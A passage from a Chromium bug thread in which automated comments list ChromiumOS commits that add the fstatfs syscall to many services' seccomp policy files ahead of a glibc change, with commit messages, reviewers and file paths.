[modify]https://crrev.com/6f9011123f3656c45bb34148673aa110a22326b3/arc/container/appfuse/seccomp/arc-appfuse-provider-seccomp-arm.policy
[modify]https://crrev.com/6f9011123f3656c45bb34148673aa110a22326b3/arc/container/appfuse/seccomp/arc-appfuse-provider-seccomp-arm64.policy
[modify]https://crrev.com/6f9011123f3656c45bb34148673aa110a22326b3/arc/keymaster/seccomp/arc-keymasterd-seccomp-amd64.policy
[modify]https://crrev.com/6f9011123f3656c45bb34148673aa110a22326b3/arc/keymaster/seccomp/arc-keymasterd-seccomp-arm.policy
[modify]https://crrev.com/6f9011123f3656c45bb34148673aa110a22326b3/arc/keymaster/seccomp/arc-keymasterd-seccomp-arm64.policy
[modify]https://crrev.com/6f9011123f3656c45bb34148673aa110a22326b3/arc/vm/forward-pstore/seccomp-amd64.policy
[modify]https://crrev.com/6f9011123f3656c45bb34148673aa110a22326b3/arc/vm/forward-pstore/seccomp-arm.policy
[modify]https://crrev.com/6f9011123f3656c45bb34148673aa110a22326b3/attestation/pca_agent/server/pca_agentd-seccomp-amd64.policy
[modify]https://crrev.com/6f9011123f3656c45bb34148673aa110a22326b3/attestation/pca_agent/server/pca_agentd-seccomp-arm.policy
[modify]https://crrev.com/6f9011123f3656c45bb34148673aa110a22326b3/attestation/pca_agent/server/pca_agentd-seccomp-arm64.policy
[modify]https://crrev.com/6f9011123f3656c45bb34148673aa110a22326b3/biod/init/seccomp/bio-crypto-init-seccomp-amd64.policy
[modify]https://crrev.com/6f9011123f3656c45bb34148673aa110a22326b3/biod/init/seccomp/bio-crypto-init-seccomp-arm.policy
[modify]https://crrev.com/6f9011123f3656c45bb34148673aa110a22326b3/biod/init/seccomp/bio-crypto-init-seccomp-arm64.policy
[modify]https://crrev.com/6f9011123f3656c45bb34148673aa110a22326b3/biod/init/seccomp/biod-seccomp-amd64.policy
[modify]https://crrev.com/6f9011123f3656c45bb34148673aa110a22326b3/biod/init/seccomp/biod-seccomp-arm.policy
[modify]https://crrev.com/6f9011123f3656c45bb34148673aa110a22326b3/biod/init/seccomp/biod-seccomp-arm64.policy
[modify]https://crrev.com/6f9011123f3656c45bb34148673aa110a22326b3/camera/common/seccomp_filter/cros-camera-algo-amd64.policy
[modify]https://crrev.com/6f9011123f3656c45bb34148673aa110a22326b3/camera/common/seccomp_filter/cros-camera-algo-arm.policy
[modify]https://crrev.com/6f9011123f3656c45bb34148673aa110a22326b3/camera/common/seccomp_filter/cros-camera-algo-arm64.policy
[modify]https://crrev.com/6f9011123f3656c45bb34148673aa110a22326b3/cros-disks/fuse-zip-seccomp-amd64.policy
[modify]https://crrev.com/6f9011123f3656c45bb34148673aa110a22326b3/cros-disks/fuse-zip-seccomp-arm.policy
[modify]https://crrev.com/6f9011123f3656c45bb34148673aa110a22326b3/cros-disks/fuse-zip-seccomp-arm64.policy
[modify]https://crrev.com/6f9011123f3656c45bb34148673aa110a22326b3/cros-disks/rar2fs-seccomp-amd64.policy
[modify]https://crrev.com/6f9011123f3656c45bb34148673aa110a22326b3/cros-disks/rar2fs-seccomp-arm.policy
[modify]https://crrev.com/6f9011123f3656c45bb34148673aa110a22326b3/cros-disks/rar2fs-seccomp-arm64.policy
[modify]https://crrev.com/6f9011123f3656c45bb34148673aa110a22326b3/crosdns/init/crosdns-seccomp-amd64.policy
[modify]https://crrev.com/6f9011123f3656c45bb34148673aa110a22326b3/crosdns/init/crosdns-seccomp-arm.policy
[modify]https://crrev.com/6f9011123f3656c45bb34148673aa110a22326b3/crosdns/init/crosdns-seccomp-arm64.policy
[modify]https://crrev.com/6f9011123f3656c45bb34148673aa110a22326b3/cryptohome/bootlockbox/seccomp/bootlockboxd-seccomp-amd64.policy
[modify]https://crrev.com/6f9011123f3656c45bb34148673aa110a22326b3/cryptohome/bootlockbox/seccomp/bootlockboxd-seccomp-arm.policy
[modify]https://crrev.com/6f9011123f3656c45bb34148673aa110a22326b3/cryptohome/bootlockbox/seccomp/bootlockboxd-seccomp-arm64.policy
[modify]https://crrev.com/6f9011123f3656c45bb34148673aa110a22326b3/cryptohome/seccomp/cryptohome-proxy-amd64.policy
[modify]https://crrev.com/6f9011123f3656c45bb34148673aa110a22326b3/cryptohome/seccomp/cryptohome-proxy-arm.policy
[modify]https://crrev.com/6f9011123f3656c45bb34148673aa110a22326b3/cryptohome/seccomp/cryptohome-proxy-arm64.policy
[modify]https://crrev.com/6f9011123f3656c45bb34148673aa110a22326b3/cups_proxy/seccomp/cups_proxy-seccomp-amd64.policy
[modify]https://crrev.com/6f9011123f3656c45bb34148673aa110a22326b3/cups_proxy/seccomp/cups_proxy-seccomp-arm.policy
[modify]https://crrev.com/6f9011123f3656c45bb34148673aa110a22326b3/cups_proxy/seccomp/cups_proxy-seccomp-arm64.policy
[modify]https://crrev.com/6f9011123f3656c45bb34148673aa110a22326b3/diagnostics/init/cros_healthd-seccomp-amd64.policy
[modify]https://crrev.com/6f9011123f3656c45bb34148673aa110a22326b3/diagnostics/init/cros_healthd-seccomp-arm.policy
[modify]https://crrev.com/6f9011123f3656c45bb34148673aa110a22326b3/diagnostics/init/cros_healthd-seccomp-arm64.policy
[modify]https://crrev.com/6f9011123f3656c45bb34148673aa110a22326b3/dlcservice/seccomp/dlcservice-seccomp-amd64.policy
[modify]https://crrev.com/6f9011123f3656c45bb34148673aa110a22326b3/dlcservice/seccomp/dlcservice-seccomp-arm.policy
[modify]https://crrev.com/6f9011123f3656c45bb34148673aa110a22326b3/dlcservice/seccomp/dlcservice-seccomp-arm64.policy
[modify]https://crrev.com/6f9011123f3656c45bb34148673aa110a22326b3/dns-proxy/seccomp/dns-proxy-seccomp-amd64.policy
[modify]https://crrev.com/6f9011123f3656c45bb34148673aa110a22326b3/dns-proxy/seccomp/dns-proxy-seccomp-arm.policy
[modify]https://crrev.com/6f9011123f3656c45bb34148673aa110a22326b3/dns-proxy/seccomp/dns-proxy-seccomp-arm64.policy
[modify]https://crrev.com/6f9011123f3656c45bb34148673aa110a22326b3/imageloader/seccomp/imageloader-seccomp-amd64.policy
[modify]https://crrev.com/6f9011123f3656c45bb34148673aa110a22326b3/imageloader/seccomp/imageloader-seccomp-arm.policy
[modify]https://crrev.com/6f9011123f3656c45bb34148673aa110a22326b3/imageloader/seccomp/imageloader-seccomp-arm64.policy
[modify]https://crrev.com/6f9011123f3656c45bb34148673aa110a22326b3/imageloader/seccomp/imageloader-seccomp-x86.policy
[modify]https://crrev.com/6f9011123f3656c45bb34148673aa110a22326b3/midis/seccomp/midis-seccomp-amd64.policy
[modify]https://crrev.com/6f9011123f3656c45bb34148673aa110a22326b3/midis/seccomp/midis-seccomp-arm.policy
[modify]https://crrev.com/6f9011123f3656c45bb34148673aa110a22326b3/midis/seccomp/midis-seccomp-arm64.policy
[modify]https://crrev.com/6f9011123f3656c45bb34148673aa110a22326b3/ml/seccomp/ml_service-seccomp-amd64.policy
[modify]https://crrev.com/6f9011123f3656c45bb34148673aa110a22326b3/ml/seccomp/ml_service-seccomp-arm.policy
[modify]https://crrev.com/6f9011123f3656c45bb34148673aa110a22326b3/ml/seccomp/ml_service-seccomp-arm64.policy
[modify]https://crrev.com/6f9011123f3656c45bb34148673aa110a22326b3/mtpd/mtpd-seccomp-amd64.policy
[modify]https://crrev.com/6f9011123f3656c45bb34148673aa110a22326b3/mtpd/mtpd-seccomp-arm.policy
[modify]https://crrev.com/6f9011123f3656c45bb34148673aa110a22326b3/mtpd/mtpd-seccomp-arm64.policy
[modify]https://crrev.com/6f9011123f3656c45bb34148673aa110a22326b3/mtpd/mtpd-seccomp-x86.policy
[modify]https://crrev.com/6f9011123f3656c45bb34148673aa110a22326b3/oobe_config/seccomp_filters/oobe_config_restore-seccomp-amd64.policy
[modify]https://crrev.com/6f9011123f3656c45bb34148673aa110a22326b3/oobe_config/seccomp_filters/oobe_config_restore-seccomp-arm.policy
[modify]https://crrev.com/6f9011123f3656c45bb34148673aa110a22326b3/oobe_config/seccomp_filters/oobe_config_restore-seccomp-arm64.policy
[modify]https://crrev.com/6f9011123f3656c45bb34148673aa110a22326b3/pciguard/seccomp/pciguard-seccomp-amd64.policy
[modify]https://crrev.com/6f9011123f3656c45bb34148673aa110a22326b3/system-proxy/seccomp/system-proxy-seccomp-amd64.policy
[modify]https://crrev.com/6f9011123f3656c45bb34148673aa110a22326b3/system-proxy/seccomp/system-proxy-seccomp-arm.policy
[modify]https://crrev.com/6f9011123f3656c45bb34148673aa110a22326b3/system-proxy/seccomp/system-proxy-seccomp-arm64.policy
[modify]https://crrev.com/6f9011123f3656c45bb34148673aa110a22326b3/typecd/seccomp/typecd-seccomp-amd64.policy
[modify]https://crrev.com/6f9011123f3656c45bb34148673aa110a22326b3/vm_tools/init/vm_cicerone-seccomp-amd64.policy
[modify]https://crrev.com/6f9011123f3656c45bb34148673aa110a22326b3/vm_tools/init/vm_cicerone-seccomp-arm.policy
[modify]https://crrev.com/6f9011123f3656c45bb34148673aa110a22326b3/vm_tools/init/vm_cicerone-seccomp-arm64.policy
commit 6f9011123f3656c45bb34148673aa110a22326b3
Author: Jordan R Abrahams <ajordanr@google.com>
Date: Fri Jun 11 22:17:55 2021
seccomp: Mass fstatfs change for glibc patch
At present, all of these libraries use glibc to dynamically load
shared libraries. A change in glibc will force all systems which
load shared libraries to call the fstatfs or fstatfs64 syscall.
This list of packages was autogenerated from a local audit.log
volteer (x86_64), so not all seccomp files may be updated correctly
yet.
BUG=chromium:1182687
TEST=CQ of chromium:2910526
Exempt-From-Owner-Approval: Large scale semi-automated change
Change-Id: Ic29a502ddf322bacdc55e1d2dab629d843bed676
Reviewed-on:
Commit-Queue: Jordan R Abrahams <ajordanr@google.com>
Tested-by: Jordan R Abrahams <ajordanr@google.com>
Auto-Submit: Jordan R Abrahams <ajordanr@google.com>
Reviewed-by: Jorge Lucangeli Obes <jorgelo@chromium.org>
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
gi...@appspot.gserviceaccount.com <gi...@appspot.gserviceaccount.com> #43
The following revision refers to this bug:
https://chromium.googlesource.com/chromiumos/third_party/adhd/+/5ab83df979c0ff0e0bf2717a3f57d930387da4c5
commit 5ab83df979c0ff0e0bf2717a3f57d930387da4c5
Author: Jordan R Abrahams <ajordanr@google.com>
Date: Thu Jun 17 23:18:46 2021
seccomp: cras fstatfs change for glibc patch
At present, cras uses glibc to dynamically load shared libraries.
A change in glibc will force all systems which load shared
libraries to call the fstatfs or fstatfs64 syscall.
cras was identified as problematic during a CQ dry-run, where
it was hitting SECCOMP failures, as read from the audit log.
BUG=chromium:1182687
TEST=CQ of chromium:2910526
Change-Id: I6127d1f0d8fa326ce818772efbe83279b5e73a9c
Reviewed-on:https://chromium-review.googlesource.com/c/chromiumos/third_party/adhd/+/2970667
Reviewed-by: Cheng-Yi Chiang <cychiang@chromium.org>
Commit-Queue: Jordan R Abrahams <ajordanr@google.com>
Tested-by: Jordan R Abrahams <ajordanr@google.com>
[modify]https://crrev.com/5ab83df979c0ff0e0bf2717a3f57d930387da4c5/seccomp/cras-seccomp-amd64.policy
[modify]https://crrev.com/5ab83df979c0ff0e0bf2717a3f57d930387da4c5/seccomp/cras-seccomp-arm.policy
[modify]https://crrev.com/5ab83df979c0ff0e0bf2717a3f57d930387da4c5/seccomp/cras-seccomp-arm64.policy
commit 5ab83df979c0ff0e0bf2717a3f57d930387da4c5
Author: Jordan R Abrahams <ajordanr@google.com>
Date: Thu Jun 17 23:18:46 2021
seccomp: cras fstatfs change for glibc patch
At present, cras uses glibc to dynamically load shared libraries.
A change in glibc will force all systems which load shared
libraries to call the fstatfs or fstatfs64 syscall.
cras was identified as problematic during a CQ dry-run, where
it was hitting SECCOMP failures, as read from the audit log.
BUG=chromium:1182687
TEST=CQ of chromium:2910526
Change-Id: I6127d1f0d8fa326ce818772efbe83279b5e73a9c
Reviewed-on:
Reviewed-by: Cheng-Yi Chiang <cychiang@chromium.org>
Commit-Queue: Jordan R Abrahams <ajordanr@google.com>
Tested-by: Jordan R Abrahams <ajordanr@google.com>
[modify]
[modify]
[modify]
gi...@appspot.gserviceaccount.com <gi...@appspot.gserviceaccount.com> #44
The following revision refers to this bug:
https://chromium.googlesource.com/chromiumos/platform2/+/cf3b64c0de20398cb421335a4a0631cb40deb3f8
commit cf3b64c0de20398cb421335a4a0631cb40deb3f8
Author: Jordan R Abrahams <ajordanr@google.com>
Date: Tue Jun 15 20:25:03 2021
runtime_probe: fstatfs seccomp addition
At present, runtime_probe uses glibc to dynamically load
shared libraries. A change in glibc will force all systems which
load shared libraries to call the fstatfs or fstatfs64 syscall.
BUG=chromium:1182687
TEST=CQ of chromium:2910526
Disallow-Recycled-Builds: test-failures
Change-Id: Ic98e4a350cb85a6d0e4f3a9a5a3c10c317459b0d
Reviewed-on:https://chromium-review.googlesource.com/c/chromiumos/platform2/+/2964988
Reviewed-by: Yun-Kai Lin <kevinptt@chromium.org>
Tested-by: Jordan R Abrahams <ajordanr@google.com>
Commit-Queue: Jordan R Abrahams <ajordanr@google.com>
[modify]https://crrev.com/cf3b64c0de20398cb421335a4a0631cb40deb3f8/runtime_probe/sandbox/amd64/ata_storage-seccomp.policy
[modify]https://crrev.com/cf3b64c0de20398cb421335a4a0631cb40deb3f8/runtime_probe/sandbox/amd64/cellular_network-seccomp.policy
[modify]https://crrev.com/cf3b64c0de20398cb421335a4a0631cb40deb3f8/runtime_probe/sandbox/amd64/ectool_i2cread-seccomp.policy
[modify]https://crrev.com/cf3b64c0de20398cb421335a4a0631cb40deb3f8/runtime_probe/sandbox/amd64/edid-seccomp.policy
[modify]https://crrev.com/cf3b64c0de20398cb421335a4a0631cb40deb3f8/runtime_probe/sandbox/amd64/ethernet_network-seccomp.policy
[modify]https://crrev.com/cf3b64c0de20398cb421335a4a0631cb40deb3f8/runtime_probe/sandbox/amd64/generic_battery-seccomp.policy
[modify]https://crrev.com/cf3b64c0de20398cb421335a4a0631cb40deb3f8/runtime_probe/sandbox/amd64/generic_network-seccomp.policy
[modify]https://crrev.com/cf3b64c0de20398cb421335a4a0631cb40deb3f8/runtime_probe/sandbox/amd64/generic_storage-seccomp.policy
[modify]https://crrev.com/cf3b64c0de20398cb421335a4a0631cb40deb3f8/runtime_probe/sandbox/amd64/input_device-seccomp.policy
[modify]https://crrev.com/cf3b64c0de20398cb421335a4a0631cb40deb3f8/runtime_probe/sandbox/amd64/memory-seccomp.policy
[modify]https://crrev.com/cf3b64c0de20398cb421335a4a0631cb40deb3f8/runtime_probe/sandbox/amd64/mmc_storage-seccomp.policy
[modify]https://crrev.com/cf3b64c0de20398cb421335a4a0631cb40deb3f8/runtime_probe/sandbox/amd64/nvme_storage-seccomp.policy
[modify]https://crrev.com/cf3b64c0de20398cb421335a4a0631cb40deb3f8/runtime_probe/sandbox/amd64/usb_camera-seccomp.policy
[modify]https://crrev.com/cf3b64c0de20398cb421335a4a0631cb40deb3f8/runtime_probe/sandbox/amd64/vpd_cached-seccomp.policy
[modify]https://crrev.com/cf3b64c0de20398cb421335a4a0631cb40deb3f8/runtime_probe/sandbox/amd64/wireless_network-seccomp.policy
[modify]https://crrev.com/cf3b64c0de20398cb421335a4a0631cb40deb3f8/runtime_probe/sandbox/arm/ata_storage-seccomp.policy
[modify]https://crrev.com/cf3b64c0de20398cb421335a4a0631cb40deb3f8/runtime_probe/sandbox/arm/cellular_network-seccomp.policy
[modify]https://crrev.com/cf3b64c0de20398cb421335a4a0631cb40deb3f8/runtime_probe/sandbox/arm/edid-seccomp.policy
[modify]https://crrev.com/cf3b64c0de20398cb421335a4a0631cb40deb3f8/runtime_probe/sandbox/arm/ethernet_network-seccomp.policy
[modify]https://crrev.com/cf3b64c0de20398cb421335a4a0631cb40deb3f8/runtime_probe/sandbox/arm/generic_battery-seccomp.policy
[modify]https://crrev.com/cf3b64c0de20398cb421335a4a0631cb40deb3f8/runtime_probe/sandbox/arm/generic_network-seccomp.policy
[modify]https://crrev.com/cf3b64c0de20398cb421335a4a0631cb40deb3f8/runtime_probe/sandbox/arm/generic_storage-seccomp.policy
[modify]https://crrev.com/cf3b64c0de20398cb421335a4a0631cb40deb3f8/runtime_probe/sandbox/arm/input_device-seccomp.policy
[modify]https://crrev.com/cf3b64c0de20398cb421335a4a0631cb40deb3f8/runtime_probe/sandbox/arm/mmc_storage-seccomp.policy
[modify]https://crrev.com/cf3b64c0de20398cb421335a4a0631cb40deb3f8/runtime_probe/sandbox/arm/nvme_storage-seccomp.policy
[modify]https://crrev.com/cf3b64c0de20398cb421335a4a0631cb40deb3f8/runtime_probe/sandbox/arm/usb_camera-seccomp.policy
[modify]https://crrev.com/cf3b64c0de20398cb421335a4a0631cb40deb3f8/runtime_probe/sandbox/arm/wireless_network-seccomp.policy
[modify]https://crrev.com/cf3b64c0de20398cb421335a4a0631cb40deb3f8/runtime_probe/seccomp/runtime_probe-seccomp-amd64.policy
[modify]https://crrev.com/cf3b64c0de20398cb421335a4a0631cb40deb3f8/runtime_probe/seccomp/runtime_probe-seccomp-arm.policy
commit cf3b64c0de20398cb421335a4a0631cb40deb3f8
Author: Jordan R Abrahams <ajordanr@google.com>
Date: Tue Jun 15 20:25:03 2021
runtime_probe: fstatfs seccomp addition
At present, runtime_probe uses glibc to dynamically load
shared libraries. A change in glibc will force all systems which
load shared libraries to call the fstatfs or fstatfs64 syscall.
BUG=chromium:1182687
TEST=CQ of chromium:2910526
Disallow-Recycled-Builds: test-failures
Change-Id: Ic98e4a350cb85a6d0e4f3a9a5a3c10c317459b0d
Reviewed-on:
Reviewed-by: Yun-Kai Lin <kevinptt@chromium.org>
Tested-by: Jordan R Abrahams <ajordanr@google.com>
Commit-Queue: Jordan R Abrahams <ajordanr@google.com>
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
gi...@appspot.gserviceaccount.com <gi...@appspot.gserviceaccount.com> #45
The following revision refers to this bug:
https://chromium.googlesource.com/chromiumos/overlays/chromiumos-overlay/+/0b416d980b94e447de8e0d66d51eb2f0febc0c3a
commit 0b416d980b94e447de8e0d66d51eb2f0febc0c3a
Author: Jordan R Abrahams <ajordanr@google.com>
Date: Wed Jun 30 20:59:14 2021
net-print: Add fstafs(64) to lpadmin seccomp
At present, no lpadmin seccomp policies include the fstafs or
fstatfs64 syscall. However, with an upcoming glibc change,
any program which dynamically loads shared libraries will
start using the fstatfs.
BUG=chromium:1182687
TEST=CQ of chromium:2910526
Change-Id: I4fe008f57d5904b576b41fd2ea20afa4d47b4176
Reviewed-on:https://chromium-review.googlesource.com/c/chromiumos/overlays/chromiumos-overlay/+/2998908
Reviewed-by: Sean Kau <skau@chromium.org>
Commit-Queue: Jordan R Abrahams <ajordanr@google.com>
Tested-by: Jordan R Abrahams <ajordanr@google.com>
[modify]https://crrev.com/0b416d980b94e447de8e0d66d51eb2f0febc0c3a/net-print/cups/files/lpadmin-seccomp-amd64.policy
[modify]https://crrev.com/0b416d980b94e447de8e0d66d51eb2f0febc0c3a/net-print/cups/files/lpadmin-seccomp-arm.policy
[modify]https://crrev.com/0b416d980b94e447de8e0d66d51eb2f0febc0c3a/net-print/cups/files/lpadmin-seccomp-arm64.policy
[modify]https://crrev.com/0b416d980b94e447de8e0d66d51eb2f0febc0c3a/net-print/cups/files/lpadmin-seccomp-x86.policy
commit 0b416d980b94e447de8e0d66d51eb2f0febc0c3a
Author: Jordan R Abrahams <ajordanr@google.com>
Date: Wed Jun 30 20:59:14 2021
net-print: Add fstafs(64) to lpadmin seccomp
At present, no lpadmin seccomp policies include the fstafs or
fstatfs64 syscall. However, with an upcoming glibc change,
any program which dynamically loads shared libraries will
start using the fstatfs.
BUG=chromium:1182687
TEST=CQ of chromium:2910526
Change-Id: I4fe008f57d5904b576b41fd2ea20afa4d47b4176
Reviewed-on:
Reviewed-by: Sean Kau <skau@chromium.org>
Commit-Queue: Jordan R Abrahams <ajordanr@google.com>
Tested-by: Jordan R Abrahams <ajordanr@google.com>
[modify]
[modify]
[modify]
[modify]
gi...@appspot.gserviceaccount.com <gi...@appspot.gserviceaccount.com> #46
The following revision refers to this bug:
https://chromium.googlesource.com/chromiumos/platform2/+/e68821f512e19c3a8653ffb762dfcd8c7a695690
commit e68821f512e19c3a8653ffb762dfcd8c7a695690
Author: Jordan R Abrahams <ajordanr@google.com>
Date: Thu Jul 08 20:00:05 2021
diagnostics: wilco seccomp: Add fstafs for glibc
At present, libraries which use glibc to dynamically load
shared libraries do not have fstafs in their seccomp policies.
A change in glibc will force all systems which load shared
libraries to call the fstatfs or fstatfs64 syscall.
wilco_dtc was found to use these new syscalls, so it's being
added here.
BUG=chromium:1182687
TEST=CQ of chromium:2910526
Change-Id: I703b5bc33f5bb028481de340ea96c6a4a1347810
Reviewed-on:https://chromium-review.googlesource.com/c/chromiumos/platform2/+/3006301
Reviewed-by: Pavol Marko <pmarko@chromium.org>
Reviewed-by: Maksim Ivanov <emaxx@chromium.org>
Reviewed-by: Mahmoud Gawad <mgawad@google.com>
Commit-Queue: Jordan R Abrahams <ajordanr@google.com>
Tested-by: Jordan R Abrahams <ajordanr@google.com>
[modify]https://crrev.com/e68821f512e19c3a8653ffb762dfcd8c7a695690/diagnostics/init/wilco-dtc-e2fsck-seccomp-amd64.policy
[modify]https://crrev.com/e68821f512e19c3a8653ffb762dfcd8c7a695690/diagnostics/init/wilco-dtc-resize2fs-seccomp-amd64.policy
[modify]https://crrev.com/e68821f512e19c3a8653ffb762dfcd8c7a695690/diagnostics/init/wilco_dtc_supportd-seccomp-amd64.policy
commit e68821f512e19c3a8653ffb762dfcd8c7a695690
Author: Jordan R Abrahams <ajordanr@google.com>
Date: Thu Jul 08 20:00:05 2021
diagnostics: wilco seccomp: Add fstafs for glibc
At present, libraries which use glibc to dynamically load
shared libraries do not have fstafs in their seccomp policies.
A change in glibc will force all systems which load shared
libraries to call the fstatfs or fstatfs64 syscall.
wilco_dtc was found to use these new syscalls, so it's being
added here.
BUG=chromium:1182687
TEST=CQ of chromium:2910526
Change-Id: I703b5bc33f5bb028481de340ea96c6a4a1347810
Reviewed-on:
Reviewed-by: Pavol Marko <pmarko@chromium.org>
Reviewed-by: Maksim Ivanov <emaxx@chromium.org>
Reviewed-by: Mahmoud Gawad <mgawad@google.com>
Commit-Queue: Jordan R Abrahams <ajordanr@google.com>
Tested-by: Jordan R Abrahams <ajordanr@google.com>
[modify]
[modify]
[modify]
gi...@appspot.gserviceaccount.com <gi...@appspot.gserviceaccount.com> #47
The following revision refers to this bug:
https://chromium.googlesource.com/chromiumos/platform2/+/d79dfa0e66fb65ddbb46c94208db24c0ea9b19ea
commit d79dfa0e66fb65ddbb46c94208db24c0ea9b19ea
Author: Jordan R Abrahams <ajordanr@google.com>
Date: Fri Jul 09 19:04:45 2021
ml: seccomp: Add fstatfs call for glibc
At present, libraries which use glibc to dynamically load
shared libraries. A change in glibc will force all systems which
load shared libraries to call the fstatfs or fstatfs64 syscall.
ml_service keeps reappearing as a seccomp failure in CQ,
and I suspect that these failures are related to fstatfs not being
present in the modified seccomp files.
Other seccomp files indicate they are not used currently, so they
are skipped.
BUG=chromium:1182687
TEST=CQ of chromium:2910526
Change-Id: I9dd24ddd8a56324bd2e02dd301d3c068e17ab738
Reviewed-on:https://chromium-review.googlesource.com/c/chromiumos/platform2/+/3017231
Commit-Queue: Jordan R Abrahams <ajordanr@google.com>
Tested-by: Jordan R Abrahams <ajordanr@google.com>
Reviewed-by: Andrew Moylan <amoylan@chromium.org>
[modify]https://crrev.com/d79dfa0e66fb65ddbb46c94208db24c0ea9b19ea/ml/seccomp/ml_service-SodaModel-seccomp-amd64.policy
[modify]https://crrev.com/d79dfa0e66fb65ddbb46c94208db24c0ea9b19ea/ml/seccomp/ml_service-WebPlatformHandwritingModel-seccomp-amd64.policy
[modify]https://crrev.com/d79dfa0e66fb65ddbb46c94208db24c0ea9b19ea/ml/seccomp/ml_service-WebPlatformHandwritingModel-seccomp-arm.policy
commit d79dfa0e66fb65ddbb46c94208db24c0ea9b19ea
Author: Jordan R Abrahams <ajordanr@google.com>
Date: Fri Jul 09 19:04:45 2021
ml: seccomp: Add fstatfs call for glibc
At present, libraries which use glibc to dynamically load
shared libraries. A change in glibc will force all systems which
load shared libraries to call the fstatfs or fstatfs64 syscall.
ml_service keeps reappearing as a seccomp failure in CQ,
and I suspect that these failures are related to fstatfs not being
present in the modified seccomp files.
Other seccomp files indicate they are not used currently, so they
are skipped.
BUG=chromium:1182687
TEST=CQ of chromium:2910526
Change-Id: I9dd24ddd8a56324bd2e02dd301d3c068e17ab738
Reviewed-on:
Commit-Queue: Jordan R Abrahams <ajordanr@google.com>
Tested-by: Jordan R Abrahams <ajordanr@google.com>
Reviewed-by: Andrew Moylan <amoylan@chromium.org>
[modify]
[modify]
[modify]
gi...@appspot.gserviceaccount.com <gi...@appspot.gserviceaccount.com> #48
The following revision refers to this bug:
https://chromium.googlesource.com/chromiumos/platform2/+/44436cd6aaf7957e4b54e3a01132d48672c555e2
commit 44436cd6aaf7957e4b54e3a01132d48672c555e2
Author: Jordan R Abrahams <ajordanr@google.com>
Date: Fri Jun 25 22:12:39 2021
imageloader: seccomp: Add fstafs call for glibc
At present, libraries which use glibc to dynamically load
shared libraries. A change in glibc will force all systems which
load shared libraries to call the fstatfs or fstatfs64 syscall.
imageloader has been causing problems with the dmsetup executable
hitting seccomp failures. While the core seccomp changes were made to
seccomp/image-loader-seccomp-*.policy, they were not applied
to the helpers.
BUG=chromium:1182687
TEST=CQ ofcrrev.com/c/2910526
Change-Id: Iad4e82da72bc24d071e265bd0e19855b60184766
Reviewed-on:https://chromium-review.googlesource.com/c/chromiumos/platform2/+/2990202
Commit-Queue: Jordan R Abrahams <ajordanr@google.com>
Tested-by: Jordan R Abrahams <ajordanr@google.com>
Reviewed-by: Jae Hoon Kim <kimjae@chromium.org>
[modify]https://crrev.com/44436cd6aaf7957e4b54e3a01132d48672c555e2/imageloader/seccomp/imageloader-helper-seccomp-amd64.policy
[modify]https://crrev.com/44436cd6aaf7957e4b54e3a01132d48672c555e2/imageloader/seccomp/imageloader-helper-seccomp-arm.policy
[modify]https://crrev.com/44436cd6aaf7957e4b54e3a01132d48672c555e2/imageloader/seccomp/imageloader-helper-seccomp-arm64.policy
[modify]https://crrev.com/44436cd6aaf7957e4b54e3a01132d48672c555e2/imageloader/seccomp/imageloader-helper-seccomp-x86.policy
commit 44436cd6aaf7957e4b54e3a01132d48672c555e2
Author: Jordan R Abrahams <ajordanr@google.com>
Date: Fri Jun 25 22:12:39 2021
imageloader: seccomp: Add fstafs call for glibc
At present, libraries which use glibc to dynamically load
shared libraries. A change in glibc will force all systems which
load shared libraries to call the fstatfs or fstatfs64 syscall.
imageloader has been causing problems with the dmsetup executable
hitting seccomp failures. While the core seccomp changes were made to
seccomp/image-loader-seccomp-*.policy, they were not applied
to the helpers.
BUG=chromium:1182687
TEST=CQ of
Change-Id: Iad4e82da72bc24d071e265bd0e19855b60184766
Reviewed-on:
Commit-Queue: Jordan R Abrahams <ajordanr@google.com>
Tested-by: Jordan R Abrahams <ajordanr@google.com>
Reviewed-by: Jae Hoon Kim <kimjae@chromium.org>
[modify]
[modify]
[modify]
[modify]
gi...@appspot.gserviceaccount.com <gi...@appspot.gserviceaccount.com> #49
The following revision refers to this bug:
https://chromium.googlesource.com/chromiumos/platform2/+/761c5c8a34dbc594fa7e466aab1bc69d68165ae4
commit 761c5c8a34dbc594fa7e466aab1bc69d68165ae4
Author: Jordan R Abrahams <ajordanr@google.com>
Date: Mon Jul 05 23:48:42 2021
iioservice: seccomp: Add fstafs call for glibc
At present, libraries which use glibc to dynamically load
shared libraries do not have fstafs in their seccomp policies.
A change in glibc will force all systems which load shared
libraries to call the fstatfs or fstatfs64 syscall.
iioservice was found to use these new syscalls, so it's being
added here.
BUG=chromium:1182687
TEST=CQ of chromium:2910526
Change-Id: If13fcd06fb44e7a2448dd6553deb787b9c110aea
Reviewed-on:https://chromium-review.googlesource.com/c/chromiumos/platform2/+/3027571
Tested-by: Jordan R Abrahams <ajordanr@google.com>
Reviewed-by: Cheng-Hao Yang <chenghaoyang@chromium.org>
Reviewed-by: Mike Frysinger <vapier@chromium.org>
Reviewed-by: Gwendal Grignou <gwendal@chromium.org>
Commit-Queue: Jordan R Abrahams <ajordanr@google.com>
[modify]https://crrev.com/761c5c8a34dbc594fa7e466aab1bc69d68165ae4/iioservice/daemon/seccomp/iioservice-amd64.policy
[modify]https://crrev.com/761c5c8a34dbc594fa7e466aab1bc69d68165ae4/iioservice/daemon/seccomp/iioservice-arm.policy
[modify]https://crrev.com/761c5c8a34dbc594fa7e466aab1bc69d68165ae4/iioservice/daemon/seccomp/iioservice-arm64.policy
commit 761c5c8a34dbc594fa7e466aab1bc69d68165ae4
Author: Jordan R Abrahams <ajordanr@google.com>
Date: Mon Jul 05 23:48:42 2021
